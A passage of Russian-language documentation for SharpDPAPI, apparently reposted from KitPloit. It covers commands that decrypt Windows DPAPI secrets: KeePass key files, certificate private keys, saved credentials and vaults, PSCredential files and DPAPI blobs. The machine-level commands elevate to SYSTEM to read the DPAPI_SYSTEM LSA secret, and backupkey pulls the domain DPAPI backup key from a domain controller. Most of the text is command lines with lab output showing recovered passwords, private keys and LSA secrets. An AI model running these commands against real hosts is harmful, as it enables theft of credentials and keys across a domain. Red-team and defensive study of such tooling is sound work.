Команда keepass выполнит поиск файлов KeePass ProtectedUserKey.bin для текущего пользователя (или, если с повышенными привилегиями, для всех пользователей) и либо a) расшифрует их с помощью переданных мастер-ключей в формате "{GUID}:SHA1", либо b) использует файл /mkfile:FILE с одним или несколькими сопоставлениями {GUID}:SHA1, либо c) использует предоставленный резервный ключ DPAPI домена (/pvk:BASE64... или /pvk:key.pvk) для предварительной расшифровки пользовательских мастер-ключей (аналогично masterkeys), либо d) использует /password:X для расшифровки пользовательских мастер-ключей, которые затем используются в качестве таблицы для дешифрования. Сопоставления GUID DPAPI можно восстановить с помощью команды Mimikatz sekurlsa::dpapi.

Флаг /unprotect использует CryptUnprotectData() для расшифровки байтов ключа, если команда выполняется в контексте пользователя, сохранившего пароли. Это можно сделать из контекста без привилегий, без необходимости обращаться к LSASS. О том, почему этот подход не используется для учетных данных/хранилищ, см. в документации Benjamin.

Конкретный файл ProtectedUserKey.bin, файл .RDC (или папку файлов .RDG) можно указать с помощью /target:FILE или /target:C:\Folder\. Если указан файл, необходимы значения {GUID}:SHA1 (или /unprotect), а если указана папка, то либо a) должны быть предоставлены значения {GUID}:SHA1, либо b) папка должна содержать мастер-ключи DPAPI и должен быть предоставлен резервный ключ /pvk домена.

Расшифрованные байты файла ключа можно использовать с модифицированной версией KeePass из KeeThief.

Использование /unprotect для расшифровки всех найденных материалов ключей:

root@kitploit:~
C:\Temp> SharpDPAPI.exe  keepass /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: KeePass Triage

[*] Using CryptUnprotectData() for decryption.

[*] Triaging KeePass ProtectedUserKey.bin files for current user

    File             : C:\Users\harmj0y\AppData\Roaming\KeePass\ProtectedUserKey.bin
    Accessed         : 3/1/2021 1:38:22 PM
    Modified         : 1/4/2021 5:49:49 PM
    guidMasterKey    : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    size             : 210
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Key Bytes        : 39 2E 63 EF 0E 37 E8 5C 34 ...


SharpDPAPI completed in 00:00:00.0566660

certificates

Команда certificates выполнит поиск зашифрованных закрытых ключей сертификатов DPAPI пользователя и либо a) расшифрует их с помощью переданных мастер-ключей в формате "{GUID}:SHA1", либо b) использует файл /mkfile:FILE с одним или несколькими сопоставлениями {GUID}:SHA1, либо c) использует предоставленный резервный ключ DPAPI домена (/pvk:BASE64... или /pvk:key.pvk) для предварительной расшифровки пользовательских мастер-ключей (аналогично masterkeys), либо d) использует /password:X для расшифровки пользовательских мастер-ключей, которые затем используются в качестве таблицы для дешифрования. Сопоставления GUID DPAPI можно восстановить с помощью команды Mimikatz sekurlsa::dpapi.

Флаг /unprotect использует CryptUnprotectData() для расшифровки закрытых ключей, если команда выполняется в контексте пользователя, чьи сертификаты вы пытаетесь получить. Это можно сделать из контекста без привилегий, без необходимости обращаться к LSASS. О том, почему этот подход не используется для учетных данных/хранилищ, см. в документации Benjamin.

Конкретный сертификат можно указать с помощью /target:FILE или /target:C:\Folder\. В обоих случаях необходимы значения {GUID}:SHA1 (или /unprotect) или b) папка должна содержать мастер-ключи DPAPI и должен быть предоставлен резервный ключ /pvk домена.

По умолчанию отображаются только закрытые ключи, связанные с установленным сертификатом. Команда /showall покажет ВСЕ расшифрованные закрытые ключи.

Используйте флаг /cng для закрытых ключей CNG (по умолчанию — capi).

Использование сопоставлений мастер-ключей домена {GUID}:SHA1:

root@kitploit:~
C:\Temp> SharpDPAPI.exe certificates {dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB513717AA...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: Certificate Triage

Folder       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  File               : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    Description      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : ef98458bca7135fe1bb89b3715180ae6
    HMAC             : 5c3c3da2a4f6548a0186c22f86d7bc85
    Unique Name      : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1daThumbprint       : 98A03BC583861DCC19045758C0E0C05162091B6C
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=harmj0y
    Valid Date       : 2/22/2021 2:19:02 PM
    Expiry Date      : 2/22/2022 2:19:02 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Сертификат используется для аутентификации клиента!
        Secure Email (1.3.6.1.5.5.7.3.4)
        Encrypting File System (1.3.6.1.4.1.311.10.3.4)

    [*] Файл закрытого ключа 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 был восстановлен:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----

Использование /unprotect для расшифровки найденных пользовательских сертификатов:

root@kitploit:~
C:\Temp> SharpDPAPI.exe certificates /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.11.3


[*] Действие: Инвентаризация сертификатов

[*] Используется CryptUnprotectData() для расшифровки.


Folder       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  File               : f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {27db0044-e2aa-4ea2-b2c0-c469e9b29ed9}
    Description      : Private Key
    algCrypt         : CALG_AES_256 (keyLen 256)
    algHash          : CALG_SHA_512 (32782)
    Salt             : d7e1e00ed8a6249b5f05c487154e83cc0b51f71131530d0d46d3bfc63d890468
    HMAC             : 4869f296cdcc964262a57e2efc4f2c5df57c2ed7319e297daa2107810da5c171
    Unique Name      : {4A07001C-57BE-4E8B-86D1-43CACDF8D448}

    Thumbprint       : BBD9B90FE1A4E37BD646CBC922ABE06C24C1E725
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=harmj0y
    Valid Date       : 10/18/2022 11:40:07 AM
    Expiry Date      : 10/18/2023 12:00:07 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Сертификат используется для аутентификации клиента!
        Server Authentication (1.3.6.1.5.5.7.3.1)

    [*] Файл закрытого ключа f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b был восстановлен:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxVEW49fMt...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDKjCCAhKgAwIBAgIQYwhUr...(snip)...
-----END CERTIFICATE-----

Использование ключа резервного копирования домена DPAPI для предварительной расшифровки любых обнаруживаемых мастер-ключей:

root@kitploit:~
C:\Temp>SharpDPAPI.exe certificates /pvk:HvG1sAAAAAABAAAAAAAAAAAAAACU...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Действие: Инвентаризация сертификатов
[*] Используется ключ резервного копирования домена DPAPI для инвентаризации мастер-ключей с целью получения соответствий ключей расшифровки!


[*] Кэш пользовательских мастер-ключей:

{dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB51371...(snip)...



Folder       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  File               : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    Description      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : ef98458bca7135fe1bb89b3715180ae6
    HMAC             : 5c3c3da2a4f6548a0186c22f86d7bc85
    Unique Name      : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da

    Thumbprint       : 98A03BC583861DCC19045758C0E0C05162091B6C
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=harmj0y
    Valid Date       : 2/22/2021 2:19:02 PM
    Expiry Date      : 2/22/2022 2:19:02 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Сертификат используется для аутентификации клиента!
        Secure Email (1.3.6.1.5.5.7.3.4)
        Encrypting File System (1.3.6.1.4.1.311.10.3.4)

    [*] Файл закрытого ключа 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 был восстановлен:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----

triage

Команда triage запускает команды credentials, vaults, rdg и certificates для пользователя.

Инвентаризация машины

machinemasterkeys

Команда machinemasterkeys повышает привилегии до SYSTEM для получения секрета LSA DPAPI_SYSTEM, который затем используется для расшифровки любых найденных мастер-ключей DPAPI машины. Она возвращает набор соответствий мастер-ключей {GUID}:SHA1.

Требуются права локального администратора (чтобы можно было получить секрет LSA DPAPI_SYSTEM).

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinemasterkeys

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Действие: Инвентаризация файлов мастер-ключей DPAPI машины

[*] Повышение привилегий до SYSTEM через дублирование токена для получения секрета LSA
[*] RevertToSelf()

[*] Секрет : DPAPI_SYSTEM
[*]    полный: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3


[*] Кэш мастер-ключей SYSTEM:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...

machinecredentials

Команда machinecredentials повышает привилегии до SYSTEM для получения секрета LSA DPAPI_SYSTEM, который затем используется для расшифровки любых найденных мастер-ключей DPAPI машины. Эти ключи затем используются для расшифровки любых найденных файлов учётных данных машины.

Требуются права локального администратора (чтобы можно было получить секрет LSA DPAPI_SYSTEM).

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinecredentials

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Действие: Инвентаризация учётных данных DPAPI машины

[*] Повышение привилегий до SYSTEM через дублирование токена для получения секрета LSA
[*] RevertToSelf()

[*] Секрет : DPAPI_SYSTEM
[*]    полный: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] Кэш мастер-ключей SYSTEM:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] Инвентаризация учётных данных системы


Folder       : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials

  CredFile           : C73A55F92FAE222C18A8989FEA28A1FE

    guidMasterKey    : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}
    size             : 544
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782/26128
    description      : Local Credential Data

    LastWritten      : 3/24/2019 7:08:43 PM
    TargetName       : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}
    TargetAlias      :
    Comment          :
    UserName         : TESTLAB\harmj0y
    Credential       : Password123!


Folder       : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials

  CredFile           : DFBE70A7E5CC19A398EBF1B96859CE5D

    ...(snip)...

machinevaults

Команда machinevaults повышает привилегии до SYSTEM для получения секрета LSA DPAPI_SYSTEM, который затем используется для расшифровки любых найденных мастер-ключей DPAPI машины. Эти ключи затем используются для расшифровки любых найденных хранилищ машины.

Требуются права локального администратора (чтобы можно было получить секрет LSA DPAPI_SYSTEM).

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinevaults

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Действие: Инвентаризация хранилищ DPAPI машины

[*] Повышение привилегий до SYSTEM через дублирование токена для получения секрета LSA
[*] RevertToSelf()

[*] Секрет : DPAPI_SYSTEM
[*]    полный: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] Кэш мастер-ключей SYSTEM:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] Инвентаризация хранилищ SYSTEM


[*] Инвентаризация папки хранилища: C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {0bd732d9-c396-4f9a-a69a-508632c05235}
    size             : 324
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782/26128
    description      :
    aes128 key       : 74CE3D7BCC4D0C4734931041F6D00D09
    aes256 key       : B497F57730A2F29C3533B76BD6B33EEA231C1F51ED933E0CA1210B9E3A16D081

...(snip)...

certificates /machine

Команда certificates /machine использует хранилище сертификатов машины для поиска расшифровываемых закрытых ключей сертификатов машины. /mkfile:X и {GUID}:masterkey совместимы с командой /target:\[file|folder\], иначе SharpDPAPI повышает привилегии до SYSTEM для получения секрета LSA DPAPI_SYSTEM, который затем используется для расшифровки любых найденных мастер-ключей DPAPI машины. Эти ключи затем используются для расшифровки любых найденных системных зашифрованных ключей закрытых сертификатов DPAPI машины.

По умолчанию отображаются только закрытые ключи, связанные с установленным сертификатом. Параметр /showall отображает ВСЕ расшифрованные закрытые ключи.

Требуются права локального администратора (чтобы можно было получить секрет LSA DPAPI_SYSTEM).

root@kitploit:~
C:\Temp>SharpDPAPI.exe certificates /machine

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Действие: Инвентаризация сертификатов
[*] Повышение привилегий до SYSTEM через дублирование токена для получения секрета LSA
[*] RevertToSelf()

[*] Секрет : DPAPI_SYSTEM
[*]    полный: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3


[*] Кэш мастер-ключей SYSTEM:

{f12f57e1-dd41-4daa-88f1-37a64034c7e9}:3AEB121ECF2...(snip)...


[*] Инвентаризация системных сертификатов


Folder       : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys

  File               : 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {f12f57e1-dd41-4daa-88f1-37a64034c7e9}
    Description      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : aa8c9e4849455660fc5fc96589f3e40e
    HMAC             : 9138559ef30fbd70808dca2c1ed02a29
    Unique Name      : te-Machine-50500b00-fddb-4a0d-8aa6-d73404473650

    Thumbprint       : A82ED8207DF6BC16BB65BF6A91E582263E217A4A
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=dev.theshire.local
    Valid Date       : 2/22/2021 3:50:43 PM
    Expiry Date      : 2/22/2022 3:50:43 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Сертификат используется для аутентификации клиента!
        Server Authentication (1.3.6.1.5.5.7.3.1)

    [*] Файл закрытого ключа 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 был восстановлен:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzRX2ipgM1t9Et4KoP...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgITVQAAAJqDK8j15...(snip)...
-----END CERTIFICATE-----

machinetriage

Команда machinetriage запускает команды machinecredentials, machinevaults и certificates /machine для машины.

Разное

ps

Команда ps описывает/расшифровывает экспортированный PSCredential clixml. Необходимо указать /target:FILE.xml.

Команда может: a) расшифровать файл с помощью переданных соответствий мастер-ключей "{GUID}:SHA1", b) использовать файл /mkfile:FILE с одним или несколькими соответствиями мастер-ключей {GUID}:SHA1, c) использовать предоставленный ключ резервного копирования домена DPAPI (/pvk:BASE64... или /pvk:key.pvk) для предварительной расшифровки пользовательских мастер-ключей (аналогично masterkeys), или d) использовать /password:X для расшифровки пользовательских мастер-ключей, которые затем используются как таблица расшифровки поиска. Соответствия GUID DPAPI можно восстановить с помощью команды Mimikatz sekurlsa::dpapi.

Флаг /unprotect использует CryptUnprotectData() для расшифровки .xml учётных данных без необходимости мастер-ключей, если команда выполняется из контекста пользователя, сохранившего пароли. Это можно сделать из непривилегированного контекста без необходимости обращаться к LSASS. О том, почему этот подход не используется для учётных данных/хранилищ, см. документацию Benjamin.

Расшифровка экспортированного .xml учётных данных с помощью CryptProtectData() (флаг /unprotect):

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Действие: Описание PSCredential .xml

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 11:53:09 AM
    Modified         : 7/25/2019 11:53:09 AM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Password         : Password123!

Использование соответствий мастер-ключей домена {GUID}:SHA1:

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml "{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3"

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Действие: Описание PSCredential .xml

[*] Используется ключ резервного копирования домена DPAPI для инвентаризации мастер-ключей с целью получения соответствий ключей расшифровки!

[*] Кэш пользовательских мастер-ключей:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 12:04:12 PM
    Modified         : 7/25/2019 12:04:12 PM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Password         : Password123!

Использование ключа резервного копирования домена DPAPI для предварительной расшифровки любых обнаруживаемых мастер-ключей:

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Действие: Описание PSCredential .xml

[*] Используется ключ резервного копирования домена DPAPI для инвентаризации мастер-ключей с целью получения соответствий ключей расшифровки!

[*] Кэш пользовательских мастер-ключей:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 12:04:12 PM
    Modified         : 7/25/2019 12:04:12 PM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Password         : Password123!

blob

Команда blob описывает/расшифровывает BLOB DPAPI. Необходимо указать /target:<BASE64|blob.bin>.

Команда может: a) расшифровать BLOB с помощью переданных соответствий мастер-ключей "{GUID}:SHA1", b) использовать файл /mkfile:FILE с одним или несколькими соответствиями мастер-ключей {GUID}:SHA1, c) использовать предоставленный ключ резервного копирования домена DPAPI (/pvk:BASE64... или /pvk:key.pvk) для предварительной расшифровки пользовательских мастер-ключей (аналогично masterkeys), или d) использовать /password:X для расшифровки пользовательских мастер-ключей, которые затем используются как таблица расшифровки поиска. Соответствия GUID DPAPI можно восстановить с помощью команды Mimikatz sekurlsa::dpapi.

Флаг /unprotect использует CryptUnprotectData() для расшифровки BLOB без необходимости мастер-ключей, если команда выполняется из контекста пользователя, сохранившего пароли. Это можно сделать из непривилегированного контекста без необходимости обращаться к LSASS. О том, почему этот подход не используется для учётных данных/хранилищ, см. документацию Benjamin.

Расшифровка BLOB с помощью CryptProtectData() (флаг /unprotect):

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Действие: Описание BLOB DPAPI

[*] Используется CryptUnprotectData() для расшифровки.

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    dec(blob)        : Password123!

Использование соответствий мастер-ключей домена {GUID}:SHA1:

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3__                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Действие: Описать DPAPI-блоб

[*] Используется CryptUnprotectData() для расшифровки.

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 314
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    dec(blob)        : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...

Использование резервного ключа DPAPI домена для расшифровки всех обнаруженных мастер-ключей:

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Действие: Описать DPAPI-блоб

[*] Используется резервный ключ DPAPI домена для проверки мастер-ключей на предмет сопоставления ключей расшифровки!

[*] Кэш мастер-ключей пользователя:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 314
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    dec(blob)        : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...

backupkey

Команда backupkey извлекает резервный ключ DPAPI домена с контроллера домена с помощью подхода LsaRetrievePrivateData API из Mimikatz. Этот закрытый ключ затем может быть использован для расшифровки мастер-ключей любого пользователя домена. И что еще лучше, ключ никогда не меняется ;)

Требуются права администратора домена (или эквивалентные) для получения ключа с удаленного контроллера домена.

Флаг /nowrap предотвращает перенос строки в отображаемом base64-ключе.

Этот base64-блоб ключа может быть декодирован в двоичный .pvk-файл, который затем можно использовать с модулем Mimikatz dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk или в командах SharpDPAPI masterkeys, credentials или vault с аргументом blob/file /pvk:X.

По умолчанию SharpDPAPI пытается определить текущий контроллер домена через API-вызов DsGetDcName. Вы можете указать сервер с помощью /server:COMPUTER.domain.com. Если вы хотите сохранить ключ на диск вместо вывода в виде base64-блоб, используйте /file:key.pvk.

Извлечение резервного ключа DPAPI для текущего контроллера домена:

root@kitploit:~
C:\Temp>SharpDPAPI.exe backupkey

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Действие: Извлечь резервный ключ DPAPI домена


[*] Используется текущий контроллер домена  : PRIMARY.testlab.local
[*] Предпочтительный GUID резервного ключа   : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Полное имя предпочтительного backupkey   : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Ключ :
          HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(snip)...

Извлечение резервного ключа DPAPI для указанного контроллера домена с выводом ключа в файл:

root@kitploit:~
C:\Temp>SharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Действие: Извлечь резервный ключ DPAPI домена


[*] Используется сервер                     : primary.testlab.local
[*] Предпочтительный GUID резервного ключа   : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Полное имя предпочтительного backupkey   : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Резервный ключ записан в                 : key.pvk

search

Команда search ищет потенциальные DPAPI-блоб в реестре, файлах, папках и base64-блоб. Использование:``` SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors] SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] SharpDPAPI.exe search /type:file /path:C:\path\to\file [/maxBytes:] SharpDPAPI.exe search /type:base64 [/base:]

root@kitploit:~
Команда `search` работает путем поиска следующих байтов, которые представляют заголовок (версия + GUID провайдера DPAPI) структуры DPAPI-блобов:```
0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB

Команда search имеет разные аргументы в зависимости от сканируемого типа данных. Чтобы указать тип данных, используйте аргумент /type со значениями registry, folder, file или base64. Если аргумент /type отсутствует, по умолчанию команда будет искать в реестре.

При поиске в реестре без других аргументов команда рекурсивно просматривает кусты HKEY_LOCAL_MACHINE и HKEY_USERS. Используйте параметр /path, чтобы указать корневой ключ для поиска (например, /path:HKLM\Software), и аргумент /showErrors, чтобы отображать ошибки, возникающие во время перечисления.

